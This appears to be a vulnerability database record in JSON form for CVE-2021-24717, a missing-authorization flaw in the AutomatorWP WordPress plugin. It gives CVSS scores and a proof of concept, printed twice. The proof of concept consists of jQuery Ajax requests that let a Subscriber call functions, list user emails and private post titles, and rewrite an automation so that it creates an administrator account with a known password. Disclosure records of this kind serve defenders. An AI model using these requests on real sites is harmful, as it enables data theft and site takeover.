The plugin does not perform capability checks which allows users with Subscriber roles to enumerate automations, disclose title of private posts or user emails, call functions, or perform privilege escalation via Ajax actions.
{"id": "WPEX-ID:5916EA42-EB33-463D-8528-2A142805C91F", "vendorId": null, "type": "wpexploit", "bulletinFamily": "exploit", "title": "AutomatorWP < 1.7.6 - Missing Authorization and Privilege Escalation", "description": "The plugin does not perform capability checks which allows users with Subscriber roles to enumerate automations, disclose title of private posts or user emails, call functions, or perform privilege escalation via Ajax actions.\n", "published": "2021-09-28T00:00:00", "modified": "2021-11-03T07:35:12", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "", "reporter": "apple502j", "references": [], "cvelist": ["CVE-2021-24717"], "immutableFields": [], "lastseen": "2021-11-26T19:10:55", "viewCount": 60, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-24717"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:5916EA42-EB33-463D-8528-2A142805C91F"]}], "rev": 4}, "score": {"value": 5.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-24717"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:5916EA42-EB33-463D-8528-2A142805C91F"]}]}, "exploitation": null, "vulnersScore": 5.1}, "sourceData": "Attack Procedures\r\n1) Run this in Dashboard while logged in as Subscriber to get phpinfo (or other functions') result. Note that no arguments are passed to the function:\r\n\r\njQuery.post(ajaxurl,{action:\"automatorwp_get_posts\",nonce:automatorwp_admin_notices.nonce,post_type_cb:\"phpinfo\"})\r\n\r\n2) Run this to enumerate automations:\r\n\r\njQuery.post(ajaxurl,{action:\"automatorwp_get_objects\",nonce:automatorwp_admin_notices.nonce,q:\"\",table:\"automatorwp_automations\"})\r\n\r\nor, user emails:\r\n\r\njQuery.post(ajaxurl,{action:\"automatorwp_get_users\",nonce:automatorwp_admin_notices.nonce,q:\"\"})\r\n\r\nor, post titles:\r\n\r\njQuery.post(ajaxurl,{action:\"automatorwp_get_posts\",nonce:automatorwp_admin_notices.nonce})\r\n\r\n3) Run this to overwrite an Anonymous automation. Since an anonymous automations can be configured to create a new user with any role, including Administrator role and pre-defined passwords, this will allow privilege escalation. \"id\" is different from the automatio ID; however this can be brute-forced easily.\r\n\r\njQuery.post(ajaxurl,{action:\"automatorwp_update_item_option\",existing_user_not_exists:\"new_user\",first_name:\"\",id:\"1\"/* CHANGE THIS */,item_type:\"action\",last_name:\"\",new_user_exists: \"abort\",new_user_search_field: \"email\",nonce:automatorwp_admin_notices.nonce,option_name: \"user\",role: \"administrator\",run_actions_on: \"existing_user\",search_field: \"login\",search_field_value: \"automatorwp-privesc\",user_email: \"automatorwp-privesc@example.com\",user_login: \"automatorwp-privesc\",\"user_meta[0][meta_key]\": \"\",\"user_meta[0][meta_value]\": \"\",user_pass: \"escalated\",user_url: \"\"})\r\n\r\nRun this and when the automation triggers a new user is created. you can log in as \"automatorwp-privesc\" with password \"escalated\". You can also overwrite when the automation triggers via \"automatorwp_add_automation_item\" ajax.", "generation": 0, "_state": {"dependencies": 1646391204}}
{"wpvulndb": [{"lastseen": "2021-11-26T19:10:55", "description": "The plugin does not perform capability checks which allows users with Subscriber roles to enumerate automations, disclose title of private posts or user emails, call functions, or perform privilege escalation via Ajax actions.\n\n### PoC\n\nAttack Procedures 1) Run this in Dashboard while logged in as Subscriber to get phpinfo (or other functions') result. Note that no arguments are passed to the function: jQuery.post(ajaxurl,{action:\"automatorwp_get_posts\",nonce:automatorwp_admin_notices.nonce,post_type_cb:\"phpinfo\"}) 2) Run this to enumerate automations: jQuery.post(ajaxurl,{action:\"automatorwp_get_objects\",nonce:automatorwp_admin_notices.nonce,q:\"\",table:\"automatorwp_automations\"}) or, user emails: jQuery.post(ajaxurl,{action:\"automatorwp_get_users\",nonce:automatorwp_admin_notices.nonce,q:\"\"}) or, post titles: jQuery.post(ajaxurl,{action:\"automatorwp_get_posts\",nonce:automatorwp_admin_notices.nonce}) 3) Run this to overwrite an Anonymous automation. Since an anonymous automations can be configured to create a new user with any role, including Administrator role and pre-defined passwords, this will allow privilege escalation. \"id\" is different from the automatio ID; however this can be brute-forced easily. jQuery.post(ajaxurl,{action:\"automatorwp_update_item_option\",existing_user_not_exists:\"new_user\",first_name:\"\",id:\"1\"/* CHANGE THIS */,item_type:\"action\",last_name:\"\",new_user_exists: \"abort\",new_user_search_field: \"email\",nonce:automatorwp_admin_notices.nonce,option_name: \"user\",role: \"administrator\",run_actions_on: \"existing_user\",search_field: \"login\",search_field_value: \"automatorwp-privesc\",user_email: \"automatorwp-privesc@example.com\",user_login: \"automatorwp-privesc\",\"user_meta[0][meta_key]\": \"\",\"user_meta[0][meta_value]\": \"\",user_pass: \"escalated\",user_url: \"\"}) Run this and when the automation triggers a new user is created. you can log in as \"automatorwp-privesc\" with password \"escalated\". You can also overwrite when the automation triggers via \"automatorwp_add_automation_item\" ajax.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-28T00:00:00", "type": "wpvulndb", "title": "AutomatorWP < 1.7.6 - Missing Authorization and Privilege Escalation", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24717"], "modified": "2021-11-03T07:35:12", "id": "WPVDB-ID:5916EA42-EB33-463D-8528-2A142805C91F", "href": "https://wpscan.com/vulnerability/5916ea42-eb33-463d-8528-2a142805c91f", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-03-23T15:02:35", "description": "The AutomatorWP WordPress plugin before 1.7.6 does not perform capability checks which allows users with Subscriber roles to enumerate automations, disclose title of private posts or user emails, call functions, or perform privilege escalation via Ajax actions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-01T09:15:00", "type": "cve", "title": "CVE-2021-24717", "cwe": ["CWE-863"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24717"], "modified": "2021-11-30T20:22:00", "cpe": [], "id": "CVE-2021-24717", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24717", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": []}]}